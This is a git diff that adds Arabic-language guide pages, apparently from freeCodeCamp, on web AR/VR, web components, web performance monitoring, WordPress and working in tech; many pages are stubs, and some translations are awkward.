+localeTitle: تطوير الواقع المعزز على شبكة الإنترنت
+---
+## تطوير الواقع المعزز على شبكة الإنترنت
+
+يحتوي هذا القسم على مقالات تتعلق بتطوير تطبيق الواقع المعزز باستخدام أطر العمل مثل A-Frame و AR.js و Argon.js و Three.js. A-Frame و Three.js قادران على القيام بكل من تطوير الواقع الافتراضي والمعزز مع إعداد مختلف قليلاً.
\ No newline at end of file
diff --git a/client/src/guide/arabic/web-components/how-do-i-use-web-components/index.md b/client/src/guide/arabic/web-components/how-do-i-use-web-components/index.md
new file mode 100644
index 0000000000..8e46bd8684
--- /dev/null
+++ b/client/src/guide/arabic/web-components/how-do-i-use-web-components/index.md
@@ -0,0 +1,11 @@
+---
+title: How do I use Web Components?
+localeTitle: كيف أستخدم مكونات الويب؟
+---
+#### كيف أستخدم مكونات الويب؟
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/web-components/how-do-I-use-web-components/index.md) .
+
+سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/web-components/index.md b/client/src/guide/arabic/web-components/index.md
new file mode 100644
index 0000000000..807c7ca77e
--- /dev/null
+++ b/client/src/guide/arabic/web-components/index.md
@@ -0,0 +1,34 @@
+---
+title: Web Components
+localeTitle: مكونات الويب
+---
+## ما هي مكونات الويب؟
+
+تتكون مكونات الويب من سلسلة من مواصفات الويب التي تم إنشاؤها بواسطة [W3C](https://w3c.github.io/) . تصف هذه المواصفات مجموعة من واجهات برمجة تطبيقات منصة الويب التي يمكن استخدامها لإنشاء عناصر HTML قابلة لإعادة الاستخدام ومغلفة وقابلة للتخصيص. من خلال عرض واجهات برمجة تطبيقات الويب منخفضة المستوى التي يستخدمها مورّدو المستعرض لإنشاء عناصر HTML التي قد تكون معتادًا عليها مسبقًا ، يمكن استخدام مكونات الويب عبر مجموعة متنوعة من البيئات. هذا يعني ما إذا كنت تعمل على موقع Wordpress ، أو تطبيق مقدم للخادم ، أو تطبيق صفحة واحدة (SPA) بأحدث إطار ، أو بدون إطار إطلاقاً ، يمكن استخدام مكونات الويب. لأول مرة ، وبغض النظر عن إطار العمل المستخدم ، يمكنك فهم الويب كمنصة لإيجاد تجارب فريدة يسهل التعامل معها مترجمة من منصة واحدة إلى أخرى.
+
+## مواصفات مكون الويب
+
+يتم تعريف مكونات الويب في [أربعة مواصفات رئيسية](https://www.webcomponents.org/introduction#specifications) .
+
+*   **عناصر مخصصة**
+    
+*   تضع [مواصفات العناصر المخصصة](https://w3c.github.io/webcomponents/spec/custom/) الأساس لتصميم واستخدام أنواع جديدة من عناصر DOM.
+    
+*   **الظل DOM**
+    
+*   تحدد [مواصفات Shadow DOM](https://w3c.github.io/webcomponents/spec/shadow/) كيفية استخدام النمط المغلف والعلامات في مكونات الويب.
+    
+*   **ES الوحدات**
+    
+*   تحدد [مواصفات ES Modules](https://html.spec.whatwg.org/multipage/webappapis.html#integration-with-the-javascript-module-system) التضمين وإعادة استخدام مستندات JS في معيار معياري وفعال.
+    
+*   **قالب HTML**
+    
+*   تحدد [مواصفات عنصر قالب HTML](https://html.spec.whatwg.org/multipage/scripting.html#the-template-element/) كيفية الإعلان أجزاء من الترميز غير المستخدمة عند تحميل الصفحة ، ولكن يمكن إنشاء مثيل لها في وقت لاحق في وقت التشغيل.
+    
+
+### معلومات اكثر:
+
+*   [مقدمة لمكونات الويب](https://www.webcomponents.org/introduction)
+*   [بيان الويب القابل للتوسعة](https://github.com/extensibleweb/manifesto)
+*   [W3C Web Component Specification](https://w3c.github.io/webcomponents/explainer/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/web-components/libraries-used-to-create-web-components/index.md b/client/src/guide/arabic/web-components/libraries-used-to-create-web-components/index.md
new file mode 100644
index 0000000000..69e8329a2c
--- /dev/null
+++ b/client/src/guide/arabic/web-components/libraries-used-to-create-web-components/index.md
@@ -0,0 +1,11 @@
+---
+title: Libraries to use to create web components
+localeTitle: مكتبات لاستخدامها لإنشاء مكونات ويب
+---
+#### مكتبات لبناء مكونات الويب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/web-components/libraries-used-to-create-web-components/index.md) .
+
+سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/web-components/shadow-dom/index.md b/client/src/guide/arabic/web-components/shadow-dom/index.md
new file mode 100644
index 0000000000..8369af4c45
--- /dev/null
+++ b/client/src/guide/arabic/web-components/shadow-dom/index.md
@@ -0,0 +1,11 @@
+---
+title: Shadow DOM
+localeTitle: الظل DOM
+---
+#### الظل DOM
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/web-components/shadow-dom/index.md) .
+
+سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/web-performance/index.md b/client/src/guide/arabic/web-performance/index.md
new file mode 100644
index 0000000000..351d245170
--- /dev/null
+++ b/client/src/guide/arabic/web-performance/index.md
@@ -0,0 +1,13 @@
+---
+title: Web & App Performance
+localeTitle: أداء الويب والتطبيقات
+---
+## أداء الويب والتطبيقات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/web-performance/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+[الويب والتطبيقات الأداء Wikipedia المادة](https://en.wikipedia.org/wiki/Web_performance)
\ No newline at end of file
diff --git a/client/src/guide/arabic/web-performance/website-monitoring/index.md b/client/src/guide/arabic/web-performance/website-monitoring/index.md
new file mode 100644
index 0000000000..7754dd6542
--- /dev/null
+++ b/client/src/guide/arabic/web-performance/website-monitoring/index.md
@@ -0,0 +1,13 @@
+---
+title: Website Monitoring
+localeTitle: رصد الموقع
+---
+## رصد الموقع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/web-performance/website-monitoring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+[رصد موقع ويكيبيديا المادة](https://en.wikipedia.org/wiki/Website_monitoring)
\ No newline at end of file
diff --git a/client/src/guide/arabic/web-performance/website-monitoring/real-user-monitoring/index.md b/client/src/guide/arabic/web-performance/website-monitoring/real-user-monitoring/index.md
new file mode 100644
index 0000000000..bcf80c12af
--- /dev/null
+++ b/client/src/guide/arabic/web-performance/website-monitoring/real-user-monitoring/index.md
@@ -0,0 +1,13 @@
+---
+title: Real User Monitoring
+localeTitle: مراقبة المستخدم الحقيقي
+---
+## مراقبة المستخدم الحقيقي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/web-performance/website-monitoring/real-user-monitoring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+[مستخدم حقيقي مراقبة ويكيبيديا المادة](https://en.wikipedia.org/wiki/Real_user_monitoring)
\ No newline at end of file
diff --git a/client/src/guide/arabic/web-performance/website-monitoring/synthetic-monitoring/index.md b/client/src/guide/arabic/web-performance/website-monitoring/synthetic-monitoring/index.md
new file mode 100644
index 0000000000..25c54f4da7
--- /dev/null
+++ b/client/src/guide/arabic/web-performance/website-monitoring/synthetic-monitoring/index.md
@@ -0,0 +1,13 @@
+---
+title: Synthetic Monitoring
+localeTitle: رصد الاصطناعية
+---
+## رصد الاصطناعية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/web-performance/website-monitoring/synthetic-monitoring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+[المادة الاصطناعية الرصد ويكيبيديا المادة](https://en.wikipedia.org/wiki/Synthetic_monitoring)
\ No newline at end of file
diff --git a/client/src/guide/arabic/web-virtual-reality/index.md b/client/src/guide/arabic/web-virtual-reality/index.md
new file mode 100644
index 0000000000..a14fb6eaf0
--- /dev/null
+++ b/client/src/guide/arabic/web-virtual-reality/index.md
@@ -0,0 +1,42 @@
+---
+title: Virtual Reality Development on The Web
+localeTitle: تطوير الواقع الافتراضي على الويب
+---
+## تطوير الواقع الافتراضي على الويب
+
+يحتوي هذا القسم على مقالات ذات صلة بتطوير تطبيق الواقع الافتراضي باستخدام أطر عمل مثل إطار A-Frame ، و WebVR ، و Three.js.
+
+## إطار أعمال
+
+*   A-Frame - https://aframe.io/
+*   three.js - https://threejs.org/
+
+## الموارد التاريخية على الواقع الافتراضي
+
+*   جمعية الواقع الافتراضي ، المملكة المتحدة - https://www.vrs.org.uk/virtual-reality/history.html
+
+## سماعات الواقع الافتراضي وأكثر من ذلك
+
+*   مقارنة بين سماعات الواقع الافتراضي على ويكيبيديا - https://en.wikipedia.org/wiki/Comparison _من_ سماعات _الواقع_ الافتراضي
+*   Google Cardboard - https://vr.google.com/cardboard/
+*   Google Daydream - https://vr.google.com/daydream/
+*   Oculus - https://www.oculus.com/
+*   Samsung Gear VR - https://www.samsung.com/global/galaxy/gear-vr/
+*   https://samsungvr.com/
+*   HTC - https://www.vive.com/us/
+
+## أمثلة على إبداعات الواقع الافتراضي المختلفة
+
+*   تجربة ليلة ستيريو VR مرصع بالنجوم - https://youtu.be/G7Dt9ziemYA
+*   أن تكون داخل لوحة فان جوخ - https://gfycat.com/SimpleImaginaryIberianmidwifetoad
+
+## هناك عدد قليل من الشركات التي تصنع أدوات للواقع الافتراضي على الويب
+
+*   Scapic - https://scapic.com
+*   Vizor - https://site.vizor.io/
+*   ميرا - https://mirra.co/
+
+## التوافق المتصفح
+
+*   تمت إضافة دعم WebVR في إصدار فايرفوكس 55. - https://support.mozilla.org/en-US/kb/view-virtual-reality-firefox-webvr
+*   تمت إضافة دعم WebVR إلى إصدار Chrome إصدار 65 Canary - https://webvr.info/get-chrome/
\ No newline at end of file
diff --git a/client/src/guide/arabic/wordpress/index.md b/client/src/guide/arabic/wordpress/index.md
new file mode 100644
index 0000000000..13595e463f
--- /dev/null
+++ b/client/src/guide/arabic/wordpress/index.md
@@ -0,0 +1,14 @@
+---
+title: WordPress
+localeTitle: وورد
+---
+# وورد
+
+WordPress هو نظام إدارة محتوى مجاني ومفتوح المصدر يعتمد على PHP و MySQL. تتضمن الميزات هندسة المكوّن الإضافي ونظام القوالب. ترتبط أكثر بالمدونات ، لكنها تدعم أنواعًا أخرى من محتوى الويب بما في ذلك المزيد من قوائم البريد والمنتديات التقليدية ومعارض الوسائط والمتاجر عبر الإنترنت.
+
+يعمل برنامج WordPress على تشغيل ما يقرب من 27٪ من جميع مواقع الويب ، كما أنه يسيطر حاليًا على CMS Market Share. مدعومة من قبل مجتمع ضخم ، هذه المنصة مفتوحة المصدر تمتلك اقتصاد بمليارات الدولارات مع المواضيع / الإضافات والبرامج المخصصة.
+
+### معلومات اكثر
+
+*   [WordPress Codex: الدليل عبر الإنترنت](https://codex.wordpress.org/)
+*   [ورد كود المرجع](https://developer.wordpress.org/reference/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/working-in-tech/code-reviews/index.md b/client/src/guide/arabic/working-in-tech/code-reviews/index.md
new file mode 100644
index 0000000000..ab3e582be3
--- /dev/null
+++ b/client/src/guide/arabic/working-in-tech/code-reviews/index.md
@@ -0,0 +1,9 @@
+---
+title: Code Reviews
+localeTitle: مراجعات الكود
+---
+## مراجعات الكود
+
+تعد مراجعات التعليمات البرمجية من الممارسات الشائعة للعديد من فرق تطوير البرامج. التعليقات قانون تنطوي أعضاء الفريق يبحثون في إرسالات الكود لبعضهم البعض للتحقق من الأخطاء أو المنطق غير الصحيح أو التحسينات المحتملة. لأولئك الذين لم يجربوا عملية مراجعة التعليمات البرمجية من قبل ، قد يكون الأمر مخيفًا ، إلا أنه عملية لا تقدر بثمن لمساعدتك تنمو كمطور.
+
+من المهم أن تكون متواضعًا طوال عملية مراجعة التعليمات البرمجية. اقبل اخطائك وأن تكون محترفًا عند الإشارة إلى تحسينات أو أخطاء في شفرة زميلك أعضاء الفريق.
\ No newline at end of file
diff --git a/client/src/guide/arabic/working-in-tech/dunning-kruger-effect/index.md b/client/src/guide/arabic/working-in-tech/dunning-kruger-effect/index.md
new file mode 100644
index 0000000000..fffdfe99f1
--- /dev/null
+++ b/client/src/guide/arabic/working-in-tech/dunning-kruger-effect/index.md
@@ -0,0 +1,38 @@
+---
+title: Dunning Kruger Effect
+localeTitle: تأثير Dunning Kruger
+---
## Dunning Kruger (DK) Effect
+
+### تعريف ويكيبيديا
+
+في مجال علم النفس ، فإن تأثير **Dunning – Kruger** هو تحيز إدراكي حيث يعاني الأشخاص ذوي القدرات المنخفضة من التفوّق الخادع ، ويقيّمون عن طريق الخطأ قدرة معرفتهم المعرفية على أنها أكبر مما هي عليه. ينبع التحيز المعرفي للتفوق الوهمي من عجز ما وراء المعرفية للأشخاص ذوي القدرة المنخفضة عن إدراك عدم الكفاءة الخاصة بهم.
+
+### لماذا يهم في تطوير البرمجيات؟
+
+تأثير DK هو تعلم مهم لمطوري البرامج. يمكن ملاحظتها بين المطورين من جميع الأعمار. هذا هو أكثر أهمية بين المطورين للمبتدئين والمتوسطة المستوى. بعد النضال الأولي قد يتغلبون على لغة أو تصميماتهم. وهذا يؤدي بهم إلى التقليل من تعقيد متطلبات النظام ، أو ما هو أسوأ من ذلك ، يعوقهم عن الخروج بتصاميم برامجية أفضل. بالنسبة للمطورين الأكثر خبرة ، يبدو أنهم اكتسبوا الحكمة على مر السنين. هم أكثر تواضعا وأفضل في الحكم على تعقيد النظام. (قد لا يكون هذا صحيحًا بالنسبة إلى جميع كبار المطورين.)
+
+### حذار!
+
+DK Effect هو بالضبط عكس [متلازمة Imposter](https://en.wikipedia.org/wiki/Impostor_syndrome) . تحتاج إلى تحقيق التوازن المثالي بين كل من هذه للنمو المهني الخاص بك.
+
+### كيفية التحقق مما إذا كنت أعاني من تأثير DK؟
+
+_لا تستطيع_
+
+عذرًا ، لكن ليس هناك إجابة مباشرة لهذا السؤال. يمكنك طرح الأسئلة التالية على نفسك:
+
+*   هل أنت قادر على إعطاء تقديرات دقيقة؟
+    
+*   هل أنت مستعد لتعلم مفاهيم جديدة؟
+    
+*   هل أنت مستعد لتطبيق أو تجربة نماذج تصميم جديدة؟
+    
+*   هل انت متواضع؟
+    
+*   هل أنت قادر على توجيه النقد وتقييم الملاحظات بشكل موضوعي؟
+    
+*   هل أنت مستمع جيد؟
+    
+    قراءات:
+    
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Dunning%E2%80%93Kruger_effect)
\ No newline at end of file
diff --git a/client/src/guide/arabic/working-in-tech/giving-a-conference-talk/index.md b/client/src/guide/arabic/working-in-tech/giving-a-conference-talk/index.md
new file mode 100644
index 0000000000..0909e17aea
--- /dev/null
+++ b/client/src/guide/arabic/working-in-tech/giving-a-conference-talk/index.md
@@ -0,0 +1,45 @@
+---
+title: Giving a Conference Talk
+localeTitle: إعطاء مؤتمر نقاش
+---
+يمكن أن يكون التحدث في مؤتمر فني أو اجتماع اجتماعي طريقة رائعة لتسريع حياتك المهنية. يمنحك ذلك فرصة لمشاركة شيء تعلمته وهو طريقة رائعة لتحدي نفسك تقنياً. التحدث في المؤتمر هو أيضًا فرصة لمقابلة أشخاص مهمين داخل مجتمع التكنولوجيا.
+
+## اختر موضوعا
+
+اختر موضوعًا يهمك! المواضيع التي أنت متحمس لها أو عن التي يمكنك أن تحكي قصة رائعة تعمل بشكل أفضل. يمكن أن يساعدك تبادل الأفكار في تضييق نطاق أفكارك إلى الأفكار الرائعة حقًا.
+
+هناك الكثير من المؤتمرات التي تحب وجود متحدثين سابقين في مسيرتهم المهنية. إنها تجلب منظورًا جديدًا وغالبًا ما تعمل على أشياء مثيرة.
+
+## تبدأ صغيرة
+
+إذا كنت مهتمًا بالكلام العام أو إعطاء محادثة فنية ، فيمكنك أن تبدأ صغيرة. العديد من المجتمعات لديها مجموعات لقاء لمجموعة واسعة من التقنيات. يمكنك إعطاء حديث خفيف (حديث قصير ، عادة 5 دقائق) من الحديث الذي تريد أن تقترحه في مكان آخر.
+
+## إنشاء مخطط تفصيلي
+
+نظّم أفكارك في قائمة تعداد نقطي. سيساعدك ذلك عند كتابة كلامك ، وعند تقديم ملخص إلى دعوة لتقديم مقترحات (CFP).
+
+## تقديم اقتراح للمؤتمرات
+
+يمكنك العثور على مؤتمرات على مواقع الويب مثل [**PaperCall**](https://papercall.io) ، من خلال وسائل التواصل الاجتماعي عن طريق متابعة ملفات شخصية مثل [**Call Back Women**](https://twitter.com/callbackwomen) على twitter ، أو ببساطة باستخدام محرك بحث.
+
+في معظم الأحيان ، يمكنك إرسال اقتراح إلى مؤتمرات متعددة أو يمكنك إرسال العديد من المقترحات إلى نفس المؤتمر. إذا قمت بذلك ، فإنك تزيد من فرصة قبولك. يجب الانتباه إلى ما يبحث عنه منظمو المؤتمر في التقديمات وتعديل إرسالك للمطابقة.
+
+تقوم العديد من المؤتمرات بإجراء مراجعة أعمية مبدئية ، مما يعني عدم الكشف عن هويتك للمراجعين. عند تقديمك إلى مؤتمر مع هذه الممارسة ، لا تقم بتضمين أي معلومات محددة في التقديم. في بعض الأحيان سوف تسأل المؤتمرات عما إذا كنت متحدّثًا للمرة الأولى أم لا ، لأنها تريد رؤية أشخاص جدد على المنصة.
+
+ليس من غير المألوف أن يحصل المؤتمر على معدل قبول يبلغ حوالي 20٪. لا تُثبط عزيمتك إذا لم يتم قبولك في المرة الأولى التي ترسل فيها مقترحًا. يمكنك تحريره وإرساله إلى مؤتمر آخر.
+
+## العرض التقديمي الكامل
+
+عندما يتم قبولك للتحدث في مؤتمر ، فقد حان الوقت لإنهاء كتابة حديثك. خذ المخطط الخاص بك وملء الثغرات.
+
+قم بإنشاء سطح الشريحة الخاص بك وإضافة ملاحظات المتحدث حتى تعرف ما ستقوله لكل شريحة. كن على علم بأي إرشادات الشريحة التي قد يكون المؤتمر (نسبة العرض إلى الارتفاع ، الألوان المقبولة ، الخط ، حجم الخط ، إلخ) والتزم بها.
+
+## ممارسة
+
+تدرب بقدر ما تحتاجه لتشعر بالراحة. يجب أن تمضي وقتًا في إعطاء العرض التقديمي بعض المناسبات المختلفة للتأكد من أنك في حدود الوقت المحدد - فأنت لا تريد أن تقطع لأن حديثك يمر بمرور الوقت. حاول أن لا تعتمد على الملاحظات / الشرائح الخاصة بك حتى تتمكن من جذب الجمهور عن طريق الاتصال بالعين قدر المستطاع.
+
+## استمتع بالمؤتمر
+
+قد تكون عصبيا (هذا مقبول!) ولكن حاول أن تستمتع بالمحادثات والأحداث الأخرى التي يقدمها المؤتمر.
+
+امنح نفسك متسعًا من الوقت لتتواجد في مكان التحدث الخاص بك مسبقًا وأحضر صديقًا لكي ترى حديثك إن أمكن. كن على علم بأن العديد من المؤتمرات تسجل الآن المحادثات وتستعد لهذا في وقت مبكر. خذ أنفاسًا عميقة عديدة قبل أن تذهبي وحاول الحصول على وقت لطيف. إذا رأى الناس أنك سعيد بوجودك ، فمن المرجح أن يكونوا سعداء لسماع ما تقوله.
\ No newline at end of file
diff --git a/client/src/guide/arabic/working-in-tech/imposter-syndrome/index.md b/client/src/guide/arabic/working-in-tech/imposter-syndrome/index.md
new file mode 100644
index 0000000000..bbe8fa42df
--- /dev/null
+++ b/client/src/guide/arabic/working-in-tech/imposter-syndrome/index.md
@@ -0,0 +1,44 @@
+---
+title: Imposter Syndrome
+localeTitle: متلازمة الدابة
+---
+## متلازمة الدابة
+
+متلازمة Imposter هي شعور _بالاحتيال_ أو _أنها ليست جيدة بما يكفي_ لإنجاز المهمة. مشترك بين مهندسي البرمجيات والمطورين والمصممين الذين يعملون في شركات التكنولوجيا ، وخاصة تلك التي لا تأتي من خلفية التكنولوجيا التقليدية. يعاني الأشخاص الذين يعانون من متلازمة الدجّال من عدم كفاية وانعدام الأمن فيما يتعلق بقدرتهم على المساهمة في مكان العمل. في الواقع ، قد يكونوا قادرين تماما على المساهمة في مهامهم بنجاح.
+
+متلازمة Imposter شائعة جدا بين مهندسي البرمجيات أو المطورين الجدد على الدور ويفتقرون إلى خبرة بعض زملائهم في العمل. في مختلف الصناعات ، متلازمة الدابة شائعة جدا مع أشخاص ناجحين جدا. وقد وجدت الدراسات أن اثنين من أصل خمسة أشخاص "ناجحين" يعتبرون أنفسهم احتيالات / محتالين ، في حين أظهرت دراسات أخرى أن ما يصل إلى 70٪ من الأشخاص يعانون من متلازمة الدُجَّاع كنقطة واحدة أو أخرى.
+
+إذا كنت تعاني من متلازمة الدابة فقد يكون لديك شعور بعدم الملاءمة أو عدم الأمان بشأن قدرتك على المساهمة. في الواقع ، قد تكون قادرًا تمامًا على المساهمة في مهامك.
+
+هذه الأفكار شائعة إلى حد ما إذا كنت تعاني من متلازمة الدجّال:
+
+*   "ماذا افعل هنا؟"
+*   "أنا لست مطور. أنا أقوم بخداع نفسي وأشخاص آخرين." (يشعر مزيفة)
+*   "زملائي أكثر ذكاء مني بكثير ؛ لم يكن بمقدوري أبداً أن أوافق معهم." (يقوض إنجازاته الخاصة)
+*   "أخبرني زملاؤنا في العمل أنني أنجزت الكثير ، لكنني أشعر أنها لا تكفي أبداً." (خصومات الثناء)
+*   "ليس لدي أي فكرة عن كيفية إجراء عملية المقابلة." (يشعر الحظ فقط تملي النتائج)
+*   "سوف أكون سخرية وأطلق النار عندما يدرك الناس أنني لست ذكية كما وصفت نفسي بأنها". (فشل الخوف)
+*   "معدل الذكاء ليس مرتفعًا بما يكفي للعمل هنا." (يشك في القدرة المتأصلة)
+*   "أحتاج إلى المزيد من التدريب لكي أشعر أنني أستحق أن أكون هنا."
+
+قد تمنعك متلازمة Imposter من التواصل عندما تحتاج إلى مساعدة ، وبالتالي تباطؤ تقدمك. يرجى التواصل على المنتدى أو غرفة الدردشة!
+
+#### التغلب على متلازمة الغدد الصماء
+
+الخطوة الأولى في التغلب على متلازمة الدجوية هي معرفة الفرق بين عقلية النمو والعقلية الثابتة. يعتقد الأشخاص الذين لديهم عقلية نمو أن مهاراتهم ومواهبهم يمكن تطويرها من خلال العمل الجاد ، والممارسة ، والمحادثات مع الآخرين ، وما إلى ذلك. بالتناوب ، يميل هؤلاء الذين لديهم عقلية ثابتة إلى الاعتقاد بأن مواهبهم هي قدرات محددة قد ولدوا بها.
+
+عندما تغير نظرتك إلى عقلية نمو ، فإنك تسمح لنفسك بمواجهة التحديات التي قد تبدو بعيدة المنال. إذا كنت تعتقد أن مهاراتك يمكن تطويرها بمرور الوقت ، فستكون أقل أهمية إذا كنت لا تعرف كيفية القيام بشيء ما (طالما كنت على استعداد لوضعه في العمل).
+
+[كثير من الناس الموهوبين والناجحين يتعاملون مع متلازمة الغدد الصماء (Imposter Syndrome)](https://www.thecut.com/2017/01/25-famous-women-on-impostor-syndrome-and-self-doubt.html) . بل إنهم يقولون ، على سبيل الاستنتاج ، إن النجاح لا يزيل فقط متلازمة الديبو. مرات عديدة ، النجاح يجعلها أسوأ. إذن ، هذا ليس شيئًا ننتزعه مرة واحدة. نحن نغزوها كل يوم ، في كل مرة نأخذ فيها مشروعًا ، ومهمة ، وما إلى ذلك.
+
+المزيد من الموارد الرائعة لمساعدتك في معرفة المزيد عن متلازمة الدابة وبعض النصائح لمواجهتها:
+
+*   [جمعية علم النفس الأمريكية - أشعر وكأنه الغش؟](http://www.apa.org/gradpsych/2013/11/fraud.aspx)
+*   [محادثات TED - مكافحة متلازمة الداعم](https://www.ted.com/playlists/503/fighting_impostor_syndrome)
+*   [الكوارتز - هل متلازمة الدجّال علامة على العظمة؟](https://qz.com/606727/is-imposter-syndrome-a-sign-of-greatness/)
+*   [HTTP203 - متلازمة Imposter](https://www.youtube.com/watch?v=VNr1Kb07aME)
+*   [مبادرة Ada - هل تمنع متلازمة المنتحل النساء من التكنولوجيا والثقافة المفتوحة؟](https://adainitiative.org/2013/08/28/is-impostor-syndrome-keeping-women-out-of-open-technology-and-culture/)
+*   [DEV - التغلب على متلازمة المنتحل](https://dev.to/kathryngrayson/overcoming-impostor-syndrome-apg)
+*   [FastCompany - أنواع متلازمة الدجنية وكيفية التغلب عليها](https://www.fastcompany.com/40421352/the-five-types-of-impostor-syndrome-and-how-to-beat-them)
+*   [Startup Bros - 21 ثبت سبل التغلب على متلازمة الداعم](https://startupbros.com/21-ways-overcome-impostor-syndrome/)
+*   [نيويورك تايمز - تعلم كيفية التعامل مع متلازمة الداعم](https://www.nytimes.com/2015/10/26/your-money/learning-to-deal-with-the-impostor-syndrome.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/working-in-tech/index.md b/client/src/guide/arabic/working-in-tech/index.md
new file mode 100644
index 0000000000..0721fa6bf7
--- /dev/null
+++ b/client/src/guide/arabic/working-in-tech/index.md
@@ -0,0 +1,52 @@
+---
+title: Working in Tech
+localeTitle: العمل في التقنية
+---
+## العمل في التقنية
+
+غالبًا ما يتم تجميع مجموعة كبيرة من المجالات المرتبطة بالتكنولوجيا مثل تطوير الويب والتصميم وعلوم البيانات وإدارة المنتج في مصطلح "تقني".
+
+سيركز هذا القسم على الجوانب المختلفة للعمل في التكنولوجيا. وسنناقش التحديات الوظيفية الإضافية التي تواجه الأقليات ناقصة التمثيل والأشخاص من خلفيات التعليم غير التقليدي. وهذا يشمل قضايا مثل التمييز على أساس الجنس والعنصرية التي كانت سائدة بشكل خاص في بعض الصناعات والمنظمات.
+
+### حماية الحاسوب
+
+ينمو مجال أمن الكمبيوتر بمعدل سريع كل عام ، وفي تقرير تم إعداده مؤخرًا ، تشير التقديرات إلى أنه بحلول عام 2021 سيكون 3.5 مليون وظيفة شاغرة. يرجع هذا الطلب إلى زيادة الهجمات السيبرانية ومقدار البيانات التي يتم إنشاؤها كل يوم ، والبيانات ذات قيمة كبيرة في الوقت الحاضر وتحتاج إلى أن تظل آمنة وآمنة.
+
+### أمثلة على الوظائف ذات الصلة بالتكنولوجيا
+
+*   مطور برامج
+*   محلل نظم الكمبيوتر
+*   مطور ويب
+*   مدير تكنولوجيا المعلومات
+*   مدير نظم الكمبيوتر
+
+### كتب
+
+[حول الوجه: أساسيات تصميم التفاعل](https://amzn.to/2uwtugk)
+
+[التفكير في النظم: التمهيدي](https://amzn.to/2u6FbJF)
+
+[التفكير ، سريع وبطيء](https://amzn.to/2tnnlTN)
+
+[تعلم أنت هاسكل لمصلحة جيدة!](https://amzn.to/2veOjdv)
+
+[اعتقد مثل مبرمج](https://www.nostarch.com/thinklikeaprogrammer)
+
+Hooked: How to Build Habit-Forming Products: amzn.to/2bVG5AQ
+
+"Lean In: Women، Work، and the Will to Lead" by Sheryl Sandberg http://amzn.to/2igRgoq
+
+لمشاهدة القائمة الكاملة ، قم بزيارة: https://talkpython.fm/episodes/show/130/10-books-python-developers-should-be-reading
+
+### مقالات
+
+*   [لقد أطلقنا أفضل المواهب لدينا. أفضل قرار لنا على الإطلاق.](https://medium.freecodecamp.org/we-fired-our-top-talent-best-decision-we-ever-made-4c0a99728fde)
+*   [لقد أطلقت موهبتك العليا اتمنى ان تكون سعيدا.](https://medium.com/@deusexmachina667/you-fired-your-top-talent-i-hope-youre-happy-cf57c41183dd)
+*   [كيفية تشغيل عملية تطوير ناجحة (حتى إذا لم تكن تقنيًا)](https://medium.freecodecamp.org/how-to-run-a-successful-development-process-even-if-youre-not-technical-185d0558c89a)
+*   [ما هو الدين الفني؟ ولماذا كل شركة ناشئة تقريبا لديها ذلك؟](https://medium.freecodecamp.org/what-is-technical-debt-and-why-do-most-startups-have-it-9a54458daabf)
+*   [كيف يمكنك الحصول على وظيفة مكونة من 6 وظائف في التكنولوجيا دون أي اتصالات - نصائح حصلت لي على عروض عمل من Google وعمالقة التكنولوجيا الآخرين](https://medium.freecodecamp.org/how-you-can-land-a-6-figure-job-in-tech-with-no-connections-6eed0de26ea4)
+*   [الدليل الوظيفي لمطوّر البرامج الكامل](https://simpleprogrammer.com/products/careerguide/)
+
+### المدونة الصوتية
+
+[10 كتب يجب على مطوري بيثون القراءة - talkpython.fm](https://talkpython.fm/episodes/show/130/10-books-python-developers-should-be-reading)
\ No newline at end of file
diff --git a/client/src/guide/arabic/working-in-tech/open-data/index.md b/client/src/guide/arabic/working-in-tech/open-data/index.md
new file mode 100644
index 0000000000..bc17e6b964
--- /dev/null
+++ b/client/src/guide/arabic/working-in-tech/open-data/index.md
@@ -0,0 +1,21 @@
+---
+title: Open Data
+localeTitle: البيانات المفتوحة
+---
+## البيانات المفتوحة
+
+البيانات المفتوحة هي بيانات متاحة مجانًا ويمكن لأي شخص _الوصول إليها وإعادة استخدامها ومشاركتها_ .
+
+النقاط التالية هي سمة البيانات المفتوحة:
+
+*   تصبح البيانات قابلة للاستخدام من خلال إتاحتها في صيغة مفهومة مشتركة.
+*   يجب أن تكون البيانات متاحة بموجب ترخيص مفتوح. يسمح ذلك لأي شخص باستخدامه وإعادة توزيعه وتعديله.
+
+يمكن أن تساعد البيانات المفتوحة الحكومات والشركات والأفراد. يمكنه تحسين الخدمات ، وإحداث تغييرات اجتماعية اقتصادية ، وحماية كوكب الأرض.
+
